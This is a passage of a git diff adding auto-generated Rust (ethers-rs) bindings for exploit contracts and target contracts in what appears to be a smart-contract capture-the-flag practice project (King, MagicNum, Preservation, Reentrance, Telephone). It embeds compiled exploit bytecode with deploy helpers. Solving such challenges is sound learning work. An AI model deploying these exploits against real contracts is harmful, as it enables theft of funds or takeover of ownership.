failed\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`d\x82\x01R`\x84\x01`@Q\x80\x91\x03\x90\xFD[PPV[\x80\x82\x01\x80\x82\x11\x15a\x02|W\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\x11`\x04R`$`\0\xFD[\x92\x91PPV[`\0` \x82\x84\x03\x12\x15a\x02\x94W`\0\x80\xFD[PQ\x91\x90PV\xFE\xA2dipfsX\"\x12 G\xEA\xDA\xB3rnl\x16\xCB\x9D\x98\xD8A\x02\x08k\x83\x8A\xE1\xFB\xA4\xBF\x84\xD4\xADa\xF4RI\xD3\x93$dsolcC\0\x08\x19\x003"; + /// The deployed bytecode of the contract. + pub static KINGEXPLOIT_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = + ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); + pub struct KingExploit(::ethers::contract::Contract); + impl ::core::clone::Clone for KingExploit { + fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } + } + impl ::core::ops::Deref for KingExploit { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { &self.0 } + } + impl ::core::ops::DerefMut for KingExploit { + fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } + } + impl ::core::fmt::Debug for KingExploit { + fn fmt( + &self, + f: &mut ::core::fmt::Formatter<'_>, + ) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(KingExploit)) + .field(&self.address()) + .finish() + } + } + impl KingExploit { + /// Creates a new contract instance with the + /// specified `ethers` client at `address`. + /// The contract derefs to a `ethers::Contract` + /// object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self(::ethers::contract::Contract::new( + address.into(), + KINGEXPLOIT_ABI.clone(), + client, + )) + } + /// Constructs the general purpose `Deployer` + /// instance based on the provided constructor + /// arguments and sends it. Returns a new + /// instance of a deployer that returns an instance + /// of this contract after sending the transaction + /// + /// Notes: + /// - If there are no constructor arguments, you + /// should pass `()` as the argument. + /// - The default poll duration is 7 seconds. + /// - The default number of confirmations is 1 + /// block. + /// + /// + /// # Example + /// + /// Generate contract bindings with `abigen!` and + /// deploy a new contract instance. + /// + /// *Note*: this requires a `bytecode` and `abi` + /// object in the `greeter.json` artifact. + /// + /// ```ignore + /// # async fn deploy(client: ::std::sync::Arc) { + /// abigen!(Greeter, "../greeter.json"); + /// + /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); + /// let msg = greeter_contract.greet().call().await.unwrap(); + /// # } + /// ``` + pub fn deploy( + client: ::std::sync::Arc, + constructor_args: T, + ) -> ::core::result::Result< + ::ethers::contract::builders::ContractDeployer, + ::ethers::contract::ContractError, + > { + let factory = ::ethers::contract::ContractFactory::new( + KINGEXPLOIT_ABI.clone(), + KINGEXPLOIT_BYTECODE.clone().into(), + client, + ); + let deployer = factory.deploy(constructor_args)?; + let deployer = ::ethers::contract::ContractDeployer::new(deployer); + Ok(deployer) + } + ///Calls the contract's `becomeKing` (0x6708cc63) + /// function + pub fn become_king( + &self, + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([103, 8, 204, 99], ()) + .expect("method not found (this should never happen)") + } + } + impl + From<::ethers::contract::Contract> for KingExploit + { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } + ///Container type for all input parameters for the + /// `becomeKing` function with signature `becomeKing()` + /// and selector `0x6708cc63` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + #[ethcall(name = "becomeKing", abi = "becomeKing()")] + pub struct BecomeKingCall; +} diff --git a/attack/src/abi/magic_num_exploit.rs b/attack/src/abi/magic_num_exploit.rs new file mode 100644 index 0000000..f728312 --- /dev/null +++ b/attack/src/abi/magic_num_exploit.rs @@ -0,0 +1,169 @@ +pub use magic_num_exploit::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types +)] +pub mod magic_num_exploit { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::None, + functions: ::core::convert::From::from([( + ::std::borrow::ToOwned::to_owned("whatIsTheMeaningOfLife"), + ::std::vec![::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned( + "whatIsTheMeaningOfLife", + ), + inputs: ::std::vec![], + outputs: ::std::vec![], + constant: ::core::option::Option::None, + state_mutability: + ::ethers::core::abi::ethabi::StateMutability::Pure, + },], + )]), + events: ::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: false, + fallback: false, + } + } + ///The parsed JSON ABI of the contract. + pub static MAGICNUMEXPLOIT_ABI: ::ethers::contract::Lazy< + ::ethers::core::abi::Abi, + > = ::ethers::contract::Lazy::new(__abi); + #[rustfmt::skip] + const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`v\x80`\x1D`\09`\0\xF3\xFE`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\x046\x10`(W`\x005`\xE0\x1C\x80ce\x05\0\xC1\x14`-W[`\0\x80\xFD[`3`5V[\0[`*`\0R`\x1F`\0\xF3\xFE\xA2dipfsX\"\x12 ]\x93}:\xCA\xB9Z7\x87)bX\xF4b\x14\xD7\x9F\x13\x05M\xB1\xA2\xC2:\xAD\xB8V\xCE\xE4\xCAv\xC8dsolcC\0\x08\x19\x003"; + /// The bytecode of the contract. + pub static MAGICNUMEXPLOIT_BYTECODE: ::ethers::core::types::Bytes = + ::ethers::core::types::Bytes::from_static(__BYTECODE); + #[rustfmt::skip] + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\x046\x10`(W`\x005`\xE0\x1C\x80ce\x05\0\xC1\x14`-W[`\0\x80\xFD[`3`5V[\0[`*`\0R`\x1F`\0\xF3\xFE\xA2dipfsX\"\x12 ]\x93}:\xCA\xB9Z7\x87)bX\xF4b\x14\xD7\x9F\x13\x05M\xB1\xA2\xC2:\xAD\xB8V\xCE\xE4\xCAv\xC8dsolcC\0\x08\x19\x003"; + /// The deployed bytecode of the contract. + pub static MAGICNUMEXPLOIT_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = + ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); + pub struct MagicNumExploit(::ethers::contract::Contract); + impl ::core::clone::Clone for MagicNumExploit { + fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } + } + impl ::core::ops::Deref for MagicNumExploit { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { &self.0 } + } + impl ::core::ops::DerefMut for MagicNumExploit { + fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } + } + impl ::core::fmt::Debug for MagicNumExploit { + fn fmt( + &self, + f: &mut ::core::fmt::Formatter<'_>, + ) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(MagicNumExploit)) + .field(&self.address()) + .finish() + } + } + impl MagicNumExploit { + /// Creates a new contract instance with the + /// specified `ethers` client at `address`. + /// The contract derefs to a `ethers::Contract` + /// object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self(::ethers::contract::Contract::new( + address.into(), + MAGICNUMEXPLOIT_ABI.clone(), + client, + )) + } + /// Constructs the general purpose `Deployer` + /// instance based on the provided constructor + /// arguments and sends it. Returns a new + /// instance of a deployer that returns an instance + /// of this contract after sending the transaction + /// + /// Notes: + /// - If there are no constructor arguments, you + /// should pass `()` as the argument. + /// - The default poll duration is 7 seconds. + /// - The default number of confirmations is 1 + /// block. + /// + /// + /// # Example + /// + /// Generate contract bindings with `abigen!` and + /// deploy a new contract instance. + /// + /// *Note*: this requires a `bytecode` and `abi` + /// object in the `greeter.json` artifact. + /// + /// ```ignore + /// # async fn deploy(client: ::std::sync::Arc) { + /// abigen!(Greeter, "../greeter.json"); + /// + /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); + /// let msg = greeter_contract.greet().call().await.unwrap(); + /// # } + /// ``` + pub fn deploy( + client: ::std::sync::Arc, + constructor_args: T, + ) -> ::core::result::Result< + ::ethers::contract::builders::ContractDeployer, + ::ethers::contract::ContractError, + > { + let factory = ::ethers::contract::ContractFactory::new( + MAGICNUMEXPLOIT_ABI.clone(), + MAGICNUMEXPLOIT_BYTECODE.clone().into(), + client, + ); + let deployer = factory.deploy(constructor_args)?; + let deployer = ::ethers::contract::ContractDeployer::new(deployer); + Ok(deployer) + } + ///Calls the contract's `whatIsTheMeaningOfLife` + /// (0x650500c1) function + pub fn what_is_the_meaning_of_life( + &self, + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([101, 5, 0, 193], ()) + .expect("method not found (this should never happen)") + } + } + impl + From<::ethers::contract::Contract> for MagicNumExploit + { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } + ///Container type for all input parameters for the + /// `whatIsTheMeaningOfLife` function with signature + /// `whatIsTheMeaningOfLife()` and selector `0x650500c1` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + #[ethcall( + name = "whatIsTheMeaningOfLife", + abi = "whatIsTheMeaningOfLife()" + )] + pub struct WhatIsTheMeaningOfLifeCall; +} diff --git a/attack/src/abi/mod.rs b/attack/src/abi/mod.rs index b98bb47..96934fb 100644 --- a/attack/src/abi/mod.rs +++ b/attack/src/abi/mod.rs @@ -4,4 +4,24 @@ //! Do not manually edit these files. //! These files may be overwritten by the codegen system at //! any time. +pub mod building; +pub mod coin_flip; +pub mod coin_flip_exploit; +pub mod donatexploit; +pub mod elevator; +pub mod elevator_exploit; pub mod example; +pub mod force_exploit; +pub mod gatekeeper_one; +pub mod gatekeeper_one_clone; +pub mod gatekeeper_two; +pub mod gatexploit; +pub mod gatexploit_two; +pub mod i_preservation; +pub mod king; +pub mod king_exploit; +pub mod magic_num_exploit; +pub mod preservation_exploit; +pub mod reentrance; +pub mod telephone; +pub mod telephone_exploit; diff --git a/attack/src/abi/preservation_exploit.rs b/attack/src/abi/preservation_exploit.rs new file mode 100644 index 0000000..bc5a33c --- /dev/null +++ b/attack/src/abi/preservation_exploit.rs @@ -0,0 +1,139 @@ +pub use preservation_exploit::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types +)] +pub mod preservation_exploit { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::Some( + ::ethers::core::abi::ethabi::Constructor { + inputs: ::std::vec![::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("target_"), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address payable"), + ), + },], + }, + ), + functions: ::std::collections::BTreeMap::new(), + events: ::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: false, + fallback: true, + } + } + ///The parsed JSON ABI of the contract. + pub static PRESERVATIONEXPLOIT_ABI: ::ethers::contract::Lazy< + ::ethers::core::abi::Abi, + > = ::ethers::contract::Lazy::new(__abi); + #[rustfmt::skip] + const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`@Qa\x01'8\x03\x80a\x01'\x839\x81\x01`@\x81\x90R`,\x91`\x8BV[`@Qc\x16\xF6\xA3\xE9`\xE2\x1B\x81R0`\x04\x82\x01R\x81\x90`\x01`\x01`\xA0\x1B\x03\x82\x16\x90c[\xDA\x8F\xA4\x90`$\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15`nW`\0\x80\xFD[PZ\xF1\x15\x80\x15`\x81W=`\0\x80>=`\0\xFD[PPPPPP`\xB9V[`\0` \x82\x84\x03\x12\x15`\x9CW`\0\x80\xFD[\x81Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14`\xB2W`\0\x80\xFD[\x93\x92PPPV[``\x80a\0\xC7`\09`\0\xF3\xFE`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[Ps\xA0\xEEz\x14-&|\x1F6qNJ\x8Fua/ \xA7\x97 `\x02U\0\xFE\xA2dipfsX\"\x12 L\x84q\xA8 htC\x9FMe\x97\xC9!\xDD:e\x81\xB8p\xD4sM\xA5Z\x05\xE7/\xBF\xC0\xA1.dsolcC\0\x08\x19\x003"; + /// The bytecode of the contract. + pub static PRESERVATIONEXPLOIT_BYTECODE: ::ethers::core::types::Bytes = + ::ethers::core::types::Bytes::from_static(__BYTECODE); + #[rustfmt::skip] + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[Ps\xA0\xEEz\x14-&|\x1F6qNJ\x8Fua/ \xA7\x97 `\x02U\0\xFE\xA2dipfsX\"\x12 L\x84q\xA8 htC\x9FMe\x97\xC9!\xDD:e\x81\xB8p\xD4sM\xA5Z\x05\xE7/\xBF\xC0\xA1.dsolcC\0\x08\x19\x003"; + /// The deployed bytecode of the contract. + pub static PRESERVATIONEXPLOIT_DEPLOYED_BYTECODE: + ::ethers::core::types::Bytes = + ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); + pub struct PreservationExploit(::ethers::contract::Contract); + impl ::core::clone::Clone for PreservationExploit { + fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } + } + impl ::core::ops::Deref for PreservationExploit { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { &self.0 } + } + impl ::core::ops::DerefMut for PreservationExploit { + fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } + } + impl ::core::fmt::Debug for PreservationExploit { + fn fmt( + &self, + f: &mut ::core::fmt::Formatter<'_>, + ) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(PreservationExploit)) + .field(&self.address()) + .finish() + } + } + impl PreservationExploit { + /// Creates a new contract instance with the + /// specified `ethers` client at `address`. + /// The contract derefs to a `ethers::Contract` + /// object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self(::ethers::contract::Contract::new( + address.into(), + PRESERVATIONEXPLOIT_ABI.clone(), + client, + )) + } + /// Constructs the general purpose `Deployer` + /// instance based on the provided constructor + /// arguments and sends it. Returns a new + /// instance of a deployer that returns an instance + /// of this contract after sending the transaction + /// + /// Notes: + /// - If there are no constructor arguments, you + /// should pass `()` as the argument. + /// - The default poll duration is 7 seconds. + /// - The default number of confirmations is 1 + /// block. + /// + /// + /// # Example + /// + /// Generate contract bindings with `abigen!` and + /// deploy a new contract instance. + /// + /// *Note*: this requires a `bytecode` and `abi` + /// object in the `greeter.json` artifact. + /// + /// ```ignore + /// # async fn deploy(client: ::std::sync::Arc) { + /// abigen!(Greeter, "../greeter.json"); + /// + /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); + /// let msg = greeter_contract.greet().call().await.unwrap(); + /// # } + /// ``` + pub fn deploy( + client: ::std::sync::Arc, + constructor_args: T, + ) -> ::core::result::Result< + ::ethers::contract::builders::ContractDeployer, + ::ethers::contract::ContractError, + > { + let factory = ::ethers::contract::ContractFactory::new( + PRESERVATIONEXPLOIT_ABI.clone(), + PRESERVATIONEXPLOIT_BYTECODE.clone().into(), + client, + ); + let deployer = factory.deploy(constructor_args)?; + let deployer = ::ethers::contract::ContractDeployer::new(deployer); + Ok(deployer) + } + } + impl + From<::ethers::contract::Contract> for PreservationExploit + { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } +} diff --git a/attack/src/abi/reentrance.rs b/attack/src/abi/reentrance.rs new file mode 100644 index 0000000..49e2a1e --- /dev/null +++ b/attack/src/abi/reentrance.rs @@ -0,0 +1,424 @@ +pub use reentrance::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types +)] +pub mod reentrance { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::None, + functions: ::core::convert::From::from([ + ( + ::std::borrow::ToOwned::to_owned("balanceOf"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("balanceOf"), + inputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("_who"), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + }, + ], + outputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("balance"), + kind: ::ethers::core::abi::ethabi::ParamType::Uint( + 256usize, + ), + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("uint256"), + ), + }, + ], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, + }, + ], + ), + ( + ::std::borrow::ToOwned::to_owned("balances"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("balances"), + inputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + }, + ], + outputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Uint( + 256usize, + ), + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("uint256"), + ), + }, + ], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, + }, + ], + ), + ( + ::std::borrow::ToOwned::to_owned("donate"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("donate"), + inputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("_to"), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + }, + ], + outputs: ::std::vec![], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::Payable, + }, + ], + ), + ( + ::std::borrow::ToOwned::to_owned("withdraw"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("withdraw"), + inputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("_amount"), + kind: ::ethers::core::abi::ethabi::ParamType::Uint( + 256usize, + ), + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("uint256"), + ), + }, + ], + outputs: ::std::vec![], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, + }, + ], + ), + ]), + events: ::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: false, + fallback: false, + } + } + ///The parsed JSON ABI of the contract. + pub static REENTRANCE_ABI: ::ethers::contract::Lazy< + ::ethers::core::abi::Abi, + > = ::ethers::contract::Lazy::new(__abi); + pub struct Reentrance(::ethers::contract::Contract); + impl ::core::clone::Clone for Reentrance { + fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } + } + impl ::core::ops::Deref for Reentrance { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { &self.0 } + } + impl ::core::ops::DerefMut for Reentrance { + fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } + } + impl ::core::fmt::Debug for Reentrance { + fn fmt( + &self, + f: &mut ::core::fmt::Formatter<'_>, + ) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(Reentrance)) + .field(&self.address()) + .finish() + } + } + impl Reentrance { + /// Creates a new contract instance with the + /// specified `ethers` client at `address`. + /// The contract derefs to a `ethers::Contract` + /// object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self(::ethers::contract::Contract::new( + address.into(), + REENTRANCE_ABI.clone(), + client, + )) + } + ///Calls the contract's `balanceOf` (0x70a08231) + /// function + pub fn balance_of( + &self, + who: ::ethers::core::types::Address, + ) -> ::ethers::contract::builders::ContractCall< + M, + ::ethers::core::types::U256, + > { + self.0 + .method_hash([112, 160, 130, 49], who) + .expect("method not found (this should never happen)") + } + ///Calls the contract's `balances` (0x27e235e3) + /// function + pub fn balances( + &self, + p0: ::ethers::core::types::Address, + ) -> ::ethers::contract::builders::ContractCall< + M, + ::ethers::core::types::U256, + > { + self.0 + .method_hash([39, 226, 53, 227], p0) + .expect("method not found (this should never happen)") + } + ///Calls the contract's `donate` (0x00362a95) + /// function + pub fn donate( + &self, + to: ::ethers::core::types::Address, + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([0, 54, 42, 149], to) + .expect("method not found (this should never happen)") + } + ///Calls the contract's `withdraw` (0x2e1a7d4d) + /// function + pub fn withdraw( + &self, + amount: ::ethers::core::types::U256, + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([46, 26, 125, 77], amount) + .expect("method not found (this should never happen)") + } + } + impl + From<::ethers::contract::Contract> for Reentrance + { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } + ///Container type for all input parameters for the + /// `balanceOf` function with signature + /// `balanceOf(address)` and selector `0x70a08231` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + #[ethcall(name = "balanceOf", abi = "balanceOf(address)")] + pub struct BalanceOfCall { + pub who: ::ethers::core::types::Address, + } + ///Container type for all input parameters for the + /// `balances` function with signature + /// `balances(address)` and selector `0x27e235e3` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + #[ethcall(name = "balances", abi = "balances(address)")] + pub struct BalancesCall(pub ::ethers::core::types::Address); + ///Container type for all input parameters for the + /// `donate` function with signature `donate(address)` + /// and selector `0x00362a95` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + #[ethcall(name = "donate", abi = "donate(address)")] + pub struct DonateCall { + pub to: ::ethers::core::types::Address, + } + ///Container type for all input parameters for the + /// `withdraw` function with signature + /// `withdraw(uint256)` and selector `0x2e1a7d4d` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + #[ethcall(name = "withdraw", abi = "withdraw(uint256)")] + pub struct WithdrawCall { + pub amount: ::ethers::core::types::U256, + } + ///Container type for all of the contract's call + #[derive( + Clone, + ::ethers::contract::EthAbiType, + serde::Serialize, + serde::Deserialize, + Debug, + PartialEq, + Eq, + Hash, + )] + pub enum ReentranceCalls { + BalanceOf(BalanceOfCall), + Balances(BalancesCall), + Donate(DonateCall), + Withdraw(WithdrawCall), + } + impl ::ethers::core::abi::AbiDecode for ReentranceCalls { + fn decode( + data: impl AsRef<[u8]>, + ) -> ::core::result::Result + { + let data = data.as_ref(); + if let Ok(decoded) = + ::decode(data) + { + return Ok(Self::BalanceOf(decoded)); + } + if let Ok(decoded) = + ::decode(data) + { + return Ok(Self::Balances(decoded)); + } + if let Ok(decoded) = + ::decode(data) + { + return Ok(Self::Donate(decoded)); + } + if let Ok(decoded) = + ::decode(data) + { + return Ok(Self::Withdraw(decoded)); + } + Err(::ethers::core::abi::Error::InvalidData.into()) + } + } + impl ::ethers::core::abi::AbiEncode for ReentranceCalls { + fn encode(self) -> Vec { + match self { + Self::BalanceOf(element) => { + ::ethers::core::abi::AbiEncode::encode(element) + } + Self::Balances(element) => { + ::ethers::core::abi::AbiEncode::encode(element) + } + Self::Donate(element) => { + ::ethers::core::abi::AbiEncode::encode(element) + } + Self::Withdraw(element) => { + ::ethers::core::abi::AbiEncode::encode(element) + } + } + } + } + impl ::core::fmt::Display for ReentranceCalls { + fn fmt( + &self, + f: &mut ::core::fmt::Formatter<'_>, + ) -> ::core::fmt::Result { + match self { + Self::BalanceOf(element) => { + ::core::fmt::Display::fmt(element, f) + } + Self::Balances(element) => { + ::core::fmt::Display::fmt(element, f) + } + Self::Donate(element) => ::core::fmt::Display::fmt(element, f), + Self::Withdraw(element) => { + ::core::fmt::Display::fmt(element, f) + } + } + } + } + impl ::core::convert::From for ReentranceCalls { + fn from(value: BalanceOfCall) -> Self { Self::BalanceOf(value) } + } + impl ::core::convert::From for ReentranceCalls { + fn from(value: BalancesCall) -> Self { Self::Balances(value) } + } + impl ::core::convert::From for ReentranceCalls { + fn from(value: DonateCall) -> Self { Self::Donate(value) } + } + impl ::core::convert::From for ReentranceCalls { + fn from(value: WithdrawCall) -> Self { Self::Withdraw(value) } + } + ///Container type for all return fields from the + /// `balanceOf` function with signature + /// `balanceOf(address)` and selector `0x70a08231` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + pub struct BalanceOfReturn { + pub balance: ::ethers::core::types::U256, + } + ///Container type for all return fields from the + /// `balances` function with signature + /// `balances(address)` and selector `0x27e235e3` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + pub struct BalancesReturn(pub ::ethers::core::types::U256); +} diff --git a/attack/src/abi/telephone.rs b/attack/src/abi/telephone.rs new file mode 100644 index 0000000..f0960aa --- /dev/null +++ b/attack/src/abi/telephone.rs @@ -0,0 +1,254 @@ +pub use telephone::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types +)] +pub mod telephone { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::None, + functions: ::core::convert::From::from([ + ( + ::std::borrow::ToOwned::to_owned("changeOwner"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("changeOwner"), + inputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("_owner"), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + }, + ], + outputs: ::std::vec![], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, + }, + ], + ), + ( + ::std::borrow::ToOwned::to_owned("owner"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("owner"), + inputs: ::std::vec![], + outputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + }, + ], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, + }, + ], + ), + ]), + events: ::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: false, + fallback: false, + } + } + ///The parsed JSON ABI of the contract. + pub static TELEPHONE_ABI: ::ethers::contract::Lazy< + ::ethers::core::abi::Abi, + > = ::ethers::contract::Lazy::new(__abi); + pub struct Telephone(::ethers::contract::Contract); + impl ::core::clone::Clone for Telephone { + fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } + } + impl ::core::ops::Deref for Telephone { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { &self.0 } + } + impl ::core::ops::DerefMut for Telephone { + fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } + } + impl ::core::fmt::Debug for Telephone { + fn fmt( + &self, + f: &mut ::core::fmt::Formatter<'_>, + ) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(Telephone)) + .field(&self.address()) + .finish() + } + } + impl Telephone { + /// Creates a new contract instance with the + /// specified `ethers` client at `address`. + /// The contract derefs to a `ethers::Contract` + /// object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self(::ethers::contract::Contract::new( + address.into(), + TELEPHONE_ABI.clone(), + client, + )) + } + ///Calls the contract's `changeOwner` (0xa6f9dae1) + /// function + pub fn change_owner( + &self, + owner: ::ethers::core::types::Address, + ) -> 